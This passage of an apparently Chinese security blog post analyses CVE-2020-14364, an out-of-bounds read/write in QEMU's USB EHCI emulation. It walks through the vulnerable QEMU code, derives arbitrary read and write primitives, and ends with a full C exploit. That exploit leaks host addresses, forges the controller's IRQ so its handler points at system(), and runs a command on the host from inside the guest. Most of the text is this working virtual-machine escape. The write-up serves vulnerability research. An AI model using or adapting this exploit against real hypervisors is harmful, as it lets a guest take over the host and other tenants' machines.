{
    EHCIQueue *q = NULL;
    int itd_count = 0;
    int again;

    do {
        switch(ehci_get_state(ehci, async)) {
        case EST_WAITLISTHEAD:
            again = ehci_state_waitlisthead(ehci, async);
            break;

        case EST_FETCHENTRY:
            again = ehci_state_fetchentry(ehci, async);
            break;

        case EST_FETCHQH:
            q = ehci_state_fetchqh(ehci, async);
            if (q != NULL) {
                assert(q->async == async);
                again = 1;
            } else {
                again = 0;
            }
            break;

        case EST_FETCHITD:
            again = ehci_state_fetchitd(ehci, async);
            itd_count++;
            break;

        case EST_FETCHSITD:
            again = ehci_state_fetchsitd(ehci, async);
            itd_count++;
            break;

        case EST_ADVANCEQUEUE:
            assert(q != NULL);
            again = ehci_state_advqueue(q);
            break;

        case EST_FETCHQTD:
            assert(q != NULL);
            again = ehci_state_fetchqtd(q);
            break;

        case EST_HORIZONTALQH:
            assert(q != NULL);
            again = ehci_state_horizqh(q);
            break;

        case EST_EXECUTE:
            assert(q != NULL);
            again = ehci_state_execute(q);
            if (async) {
                ehci->async_stepdown = 0;
            }
            break;

        case EST_EXECUTING:
            assert(q != NULL);
            if (async) {
                ehci->async_stepdown = 0;
            }
            again = ehci_state_executing(q);
            break;

        case EST_WRITEBACK:
            assert(q != NULL);
            again = ehci_state_writeback(q);
            if (!async) {
                ehci->periodic_sched_active = PERIODIC_ACTIVE;
            }
            break;

        default:
            fprintf(stderr, "Bad state!n");
            again = -1;
            g_assert_not_reached();
            break;
        }

        if (again < 0 || itd_count > 16) {
            /* TODO: notify guest (raise HSE irq?) */
            fprintf(stderr, "processing error - resetting ehci HCn");
            ehci_reset(ehci);
            again = 0;
        }
    }
    while (again);
}

现再到了ehci_state_execute函数了,从这个函数到usb_process_one函数,中间的过程不需要再设置什么其它的内容就可以执行到usb_process_one函数了,我们直接来看usb_process_one函数,这个函数里面会有一个分支,会根据pid来决定具体是调用do_token_setupdo_token_indo_token_out这三个函数中的哪一个,pid的值是由qtd->token来决定的,qtd的值是我们可控的,所以说我们就可以指定执行哪个函数

tips:

这里有一个坑点,我最开始启动虚拟机的时候没有加一个真实的usb设备,导致执行这个usb_ep_get(p->queue->dev, p->pid, endp);函数的时候就一直报错,后面加上一个真实的设备之后就可以了 23333

static void usb_process_one(USBPacket *p)
{
    USBDevice *dev = p->ep->dev;

    /*
     * Handlers expect status to be initialized to USB_RET_SUCCESS, but it
     * can be USB_RET_NAK here from a previous usb_process_one() call,
     * or USB_RET_ASYNC from going through usb_queue_one().
     */
    p->status = USB_RET_SUCCESS;

    if (p->ep->nr == 0) {
        /* control pipe */
        if (p->parameter) {
            do_parameter(dev, p);
            return;
        }
        switch (p->pid) {
        case USB_TOKEN_SETUP:
            do_token_setup(dev, p);
            break;
        case USB_TOKEN_IN:
            do_token_in(dev, p);
            break;
        case USB_TOKEN_OUT:
            do_token_out(dev, p);
            break;
        default:
            p->status = USB_RET_STALL;
        }
    } else {
        /* data pipe */
        usb_device_handle_data(dev, p);
    }
}

现再终于可以调用到漏洞函数了,do_token_setup函数代码如下,这里有一个检测如果说iov.size的值不等于8的话就会直接return,但是还好iov.size也是由qtd->token来决定的所以说我们就可以绕过这个检测了,然后设置setup_lensetup_buf的地址是由qtd的bufptr来决定的,所以说setup_len可控,从而代码漏洞描述中的效果

static void do_token_setup(USBDevice *s, USBPacket *p)
{
    int request, value, index;

    if (p->iov.size != 8) {
        p->status = USB_RET_STALL;
        return;
    }

    usb_packet_copy(p, s->setup_buf, p->iov.size);
    s->setup_index = 0;
    p->actual_length = 0;
    s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];
    if (s->setup_len > sizeof(s->data_buf)) {
        fprintf(stderr,
                "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)n",
                s->setup_len, sizeof(s->data_buf));
        p->status = USB_RET_STALL;
        return;
    }

    request = (s->setup_buf[0] << 8) | s->setup_buf[1];
    value   = (s->setup_buf[3] << 8) | s->setup_buf[2];
    index   = (s->setup_buf[5] << 8) | s->setup_buf[4];

    if (s->setup_buf[0] & USB_DIR_IN) {
        usb_device_handle_control(s, p, request, value, index,
                                  s->setup_len, s->data_buf);
        if (p->status == USB_RET_ASYNC) {
            s->setup_state = SETUP_STATE_SETUP;
        }
        if (p->status != USB_RET_SUCCESS) {
            return;
        }

        if (p->actual_length < s->setup_len) {
            s->setup_len = p->actual_length;
        }
        s->setup_state = SETUP_STATE_DATA;
    } else {
        if (s->setup_len == 0)
            s->setup_state = SETUP_STATE_ACK;
        else
            s->setup_state = SETUP_STATE_DATA;
    }

    p->actual_length = 8;
}

任意地址读写

任意地址读

  1. 首先设置越界长度为0x1010
  2. 进行越界写,将setup_len 设置成0x1010,将setup_index设置成0xfffffff8-0x1010, 因为usb_packet_copy后面还有s->setup_index += len 操作,此时s->setup_index 就会被设置成0xfffffff8usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len;
  3. 再次进行越界写,此时从data_buf-8处开始写,覆盖了setup字段,将setup[0] 设置成USB_DIR_IN,并且将setup_index 覆盖成targer_offset-0x1018,因为也要经过s->setup_index += len;操作。并且本次进入case SETUP_STATE_DATA时:len = s->setup_len – s->setup_index操作(0x1010-(-0x8)=0x1018),使得len变成0x1018。在第二次越界写的时候越界写setup_len的值为0xffff这样当我们的setup_index的值设置为负数的时候,在下次越界读的时候len的值会是负数,所以需要使用0xffff让其成为正数case SETUP_STATE_DATA: if (s->setup_buf[0] & USB_DIR_IN) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len);
  4. 最后越界读,就能读取目标地址的内容

任意地址写

  1. 首先设置越界长度为0x1010
  2. 越界写,将setup_len 设置成目标偏移-0x1010,usb_packet_copy后面的s->setup_index += len 操作后,s->setup_index就变成目标偏移offset。将setup_index设置成目标偏移+0x8, 经过下次越界写的len = s->setup_len – s->setup_index =》len=(offset+0x8)-offset=0x8,只修改目标地址8个字节的内容
  3. 再次越界写,修改目标地址的内容

利用思路

  1. 首先越界读,可以读USBdevice结构里面USBEndpoint ep_ctl,在这个结构体里面会有USBdevice的地址,我们可以通过这个地址获取到data_bufUSBPort
  2. 然后在越界读出来的内容里有一个变量是USBDescDevice *device,可以根据这个变量得到system的地址
  3. USBDevic 会在 realize 时,调用usb_claim_port,将USBDevice中的port字段设置为指向
    EHCIState中的ports的地址, 读取USBDevice->port的内容就能获得EHCIState->ports 的地址,减去偏移得到 EHCIState的地址。进而得到EHCIState->irq地址。
  4. 利用任意写将EHCIState->irq内容填充为伪造的irq地址,将handler 填充成system@plt地址,opaque填充成payload的地址,之后通过mmio_write读写触发ehci_update_irq -> qemu_set_irq,最终执行system(“xcalc”),完成利用。

exp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdint.h>
#include <stdbool.h>

typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
    uint8_t nr;
    uint8_t pid;
    uint8_t type;
    uint8_t ifnum;
    int max_packet_size;
    int max_streams;
    bool pipeline;
    bool halted;
    USBDevice *dev;
    USBEndpoint *fd;
    USBEndpoint *bk;
};

struct USBDevice {
    int32_t remote_wakeup;
    int32_t setup_state;
    int32_t setup_len;
    int32_t setup_index;

    USBEndpoint ep_ctl;
    USBEndpoint ep_in[15];
    USBEndpoint ep_out[15];
};

typedef struct EHCIqh {
    uint32_t next;                    /* Standard next link pointer */

    /* endpoint characteristics */
    uint32_t epchar;

    /* endpoint capabilities */
    uint32_t epcap;

    uint32_t current_qtd;             /* Standard next link pointer */
    uint32_t next_qtd;                /* Standard next link pointer */
    uint32_t altnext_qtd;         

    uint32_t token;                   /* Same as QTD token */
    uint32_t bufptr[5];               /* Standard buffer pointer */

} EHCIqh;

typedef struct EHCIqtd {
    uint32_t next;                    /* Standard next link pointer */
    uint32_t altnext;                 /* Standard next link pointer */
    uint32_t token;
    uint32_t bufptr[5];               /* Standard buffer pointer */
} EHCIqtd;

char *setup_buf;
char *data_buf;
char *data_bufoob;
char *first_leak_data;
char *second_leak_data;

unsigned char* mmio_mem;
char *dmabuf;
uint32_t *entry;
struct EHCIqh *qh;
struct EHCIqtd * qtd;
uint64_t device_addr = 0;
uint64_t func_addr = 0;
uint64_t port_addr = 0;
uint64_t port_ptr = 0;
uint64_t data_buf_addr = 0;


size_t virtuak_addr_to_physical_addr(void *addr){
    uint64_t data;

    int fd = open("/proc/self/pagemap",O_RDONLY);
    if(!fd){
        perror("open pagemap");
        return 0;
    }

    size_t pagesize = getpagesize();
    size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);

    if(lseek(fd,offset,SEEK_SET) < 0){
        puts("lseek");
        close(fd);
        return 0;
    }

    if(read(fd,&data,8) != 8){
        puts("read");
        close(fd);
        return 0;
    }

    if(!(data & (((uint64_t)1 << 63)))){
        puts("page");
        close(fd);
        return 0;
    }

    size_t pageframenum = data & ((1ull << 55) - 1);
    size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;

    close(fd);

    return phyaddr;
}

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void mmio_write(uint64_t addr, uint64_t value)
{
    *((uint64_t*)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint64_t addr)
{
    return *((uint64_t*)(mmio_mem + addr));
}

void echi_reset(void){
    mmio_write(0x20,1<<1);
    return;
}

void set_usbcmd(void){
    echi_reset();
    mmio_write(0x20,(1<<0)|(1<<4));
    return;
}

void set_portsc(void){
    mmio_write(0x64,1<<8);
    mmio_write(0x64,1<<2);
    mmio_write(0x65<<2,1<<8);
    mmio_write(0x65<<2,1<<2);
    mmio_write(0x66<<2,1<<8);
    mmio_write(0x66<<2,1<<2);
    mmio_write(0x67<<2,1<<8);
    mmio_write(0x67<<2,1<<2);
    mmio_write(0x68<<2,1<<8);
    mmio_write(0x68<<2,1<<2);
    mmio_write(0x69<<2,1<<8);
    mmio_write(0x69<<2,1<<2);
    return;
}

void set_length(uint64_t length){

    setup_buf[6] = length & 0xff;
    setup_buf[7] = (length >> 8) & 0xff;

    qtd->token = (8 << 16) | (1 << 7) | (2 << 8);
    qtd->bufptr[0] = virtuak_addr_to_physical_addr(setup_buf);

    qh->token = 1 << 7;
    qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

    *entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

    set_usbcmd();
    set_portsc();
    mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));

    sleep(3);
}

void perpare_read(void){

    setup_buf[0] = 0x80;
    setup_buf[6] = 0xff;
    setup_buf[7] = 0x00;

    qtd->token = (8 << 16) | (1 << 7) | (2 << 8);
    qtd->bufptr[0] = virtuak_addr_to_physical_addr(setup_buf);

    qh->token = 1 << 7;
    qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

    *entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

    set_usbcmd();
    set_portsc();
    mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));

    sleep(3);
}

void perpare_write(void){

    setup_buf[0] = 0x00;
    setup_buf[6] = 0xff;
    setup_buf[7] = 0x00;

    qtd->token = (8 << 16) | (1 << 7) | (2 << 8);
    qtd->bufptr[0] = virtuak_addr_to_physical_addr(setup_buf);

    qh->token = 1 << 7;
    qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

    *entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

    set_usbcmd();
    set_portsc();
    mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));

    sleep(3);
}

void oob_read(uint64_t length,int flag){
    if(flag){
        perpare_read();    
        set_length(length);
    }

    data_buf[0] = 'R';
    data_buf[1] = 'e';
    data_buf[2] = 's';
    data_buf[3] = 'e';
    data_buf[4] = 'r';
    data_buf[5] = 'y';

    qtd->token = (0x1e00 << 16) | (1 << 7) | (1 << 8);
    qtd->bufptr[0] = virtuak_addr_to_physical_addr(data_buf);
    qtd->bufptr[1] = virtuak_addr_to_physical_addr(data_bufoob);

    qh->token = 1 << 7;
    qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

    *entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

    set_usbcmd();
    set_portsc();
    mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));

    sleep(5);
}

void oob_write(uint64_t offset,uint64_t setup_len,uint64_t setup_index,int perpare){
    if(perpare){
        perpare_write();
        set_length(0x1010);
    }

    *(unsigned long *)(data_bufoob + offset) = 0x0000000200000002; // 覆盖成原先的内容
    *(unsigned int *)(data_bufoob + 0x8 +offset) = setup_len; //setup_len
    *(unsigned int *)(data_bufoob + 0xc+ offset) = setup_index;

    qtd->token = (0x1e00 << 16) | (1 << 7) | (0 << 8);
    qtd->bufptr[0] = virtuak_addr_to_physical_addr(data_buf);
    qtd->bufptr[1] = virtuak_addr_to_physical_addr(data_bufoob);

    qh->token = 1 << 7;
    qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

    *entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

    set_usbcmd();
    set_portsc();
    mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));

    sleep(5);
}

void anywhere_read(uint64_t target_addr){
    puts("33[47;31m[*] Anywhere Read33[0m");
    //set_length(0x1010);
    oob_write(0x0,0x1010,0xfffffff8-0x1010,1);

    *(unsigned long *)(data_buf) = 0x2000000000000080;

    uint32_t target_offset = target_addr - data_buf_addr;

    oob_write(0x8,0xffff,target_offset - 0x1018,0);
    oob_read(0x2000,0);
}

void anywhere_write(uint64_t target_addr,uint64_t payload,int flag){
    puts("33[47;31m[*] Anywhere Write33[0m");

    uint32_t offset = target_addr - data_buf_addr;

    oob_write(0, offset+0x8, offset-0x1010,1);

    if(flag){
        printf("33[41;37m[*] Hacked!33[0mn");
    }

    *(unsigned long *)(data_buf) = payload;
    oob_write(0, 0xffff, 0,0);
}

void init(void){
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");

    dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (dmabuf == MAP_FAILED)
        die("mmap");

    mlock(dmabuf, 0x3000);

    //printf("[*] mmio_mem : %pn", mmio_mem);
    //printf("[*] dmabuf : %pn",dmabuf);

    entry = dmabuf + 0x4;
    qh = dmabuf + 0x100;
    qtd = dmabuf + 0x200;
    setup_buf = dmabuf + 0x300;
    data_buf = dmabuf + 0x1000;
    data_bufoob = dmabuf + 0x2000;
    first_leak_data = dmabuf + 0x2000;
    second_leak_data = dmabuf + 0x1000;    
}

int main(){
    puts("33[41;37m[*] Beginning33[0m");
    puts("33[47;31m[*] Wait a moment33[0m");

    init();

    printf("33[41;37m[*] Step 1/333[0mn");

    oob_read(0x2000,1);
    device_addr = 0;

    for(int i=36;i<42;i++){
        uint64_t tmp = first_leak_data[i] & 0xff;
        device_addr |= tmp << ((i-36) * 8);
    }

    func_addr = 0;
    port_addr = device_addr+0x78;
    data_buf_addr = device_addr+0xdc;

    printf("33[47;31m[*] Devices addr : 0x%lx33[0mn",device_addr);
    printf("33[47;31m[*] Port addr : 0x%lx33[0mn",port_addr);
    printf("33[47;31m[*] Data Buf addr : 0x%lx33[0mn",data_buf_addr);

    for(int i=0x4fc;i<0x4fc+6;i++){
        uint64_t tmp = first_leak_data[i] & 0xff;
        func_addr |= tmp << ((i-0x4fc) * 8);
    }

    printf("33[47;31m[*] Func addr : 0x%lx33[0mn",func_addr);

    uint64_t system_addr = func_addr - 0xb5c860;

    printf("33[47;31m[*] System addr : 0x%lx33[0mn",system_addr);

    sleep(3);

    printf("33[41;37m[*] Step 2/333[0mn");

    anywhere_read(port_addr);

    for(int i=0;i<6;i++){
        uint64_t tmp = second_leak_data[i] & 0xff;
        port_ptr |= tmp << ((i) * 8);
    }

    uint64_t EHCIState_addr = port_ptr - 0x540;
    uint64_t irq_addr = EHCIState_addr + 0xc0;
    uint64_t fake_irq_addr = data_buf_addr;
    uint64_t irq_ptr = 0;

    anywhere_read(irq_addr);

    for(int i=0;i<6;i++){
        uint64_t tmp = second_leak_data[i] & 0xff;
        irq_ptr |= tmp << ((i) * 8);
    }

    printf("33[47;31m[*] Port ptr : 0x%lx33[0mn",port_ptr);
    printf("33[47;31m[*] EHCIState addr : 0x%lx33[0mn",EHCIState_addr);
    printf("33[47;31m[*] IRQ addr : 0x%lx33[0mn",irq_addr);
    printf("33[47;31m[*] Fake IRQ addr : 0x%lx33[0mn",fake_irq_addr);
    printf("33[47;31m[*] IRQ ptr : 0x%lx33[0mn",irq_ptr);

    *(unsigned long *)(data_buf + 0x28) = system_addr;
    *(unsigned long *)(data_buf + 0x30) = device_addr+0xdc+0x100;
    *(unsigned long *)(data_buf + 0x38) = 0x3;
    *(unsigned long *)(data_buf + 0x100) = 0x636c616378;

    printf("33[41;37m[*] Step 3/333[0mn");

    oob_write(0, 0xffff, 0xffff,1);

    anywhere_write(irq_addr, fake_irq_addr,1);

    return 0;
}

exp执行效果如下

t0150ffb68dfbd32c17

参考链接

https://www.freebuf.com/vuls/247829.html

https://xz.aliyun.com/t/8320?accounttraceid=6ede24cd2a974ccbb0703b7121b5469dhtfc#toc-8

https://lists.gnu.org/archive/html/qemu-devel/2020-08/msg05969.html

https://bugzilla.redhat.com/show_bug.cgi?id=1869201#c0

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14364

本文由Resery原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/227283

标签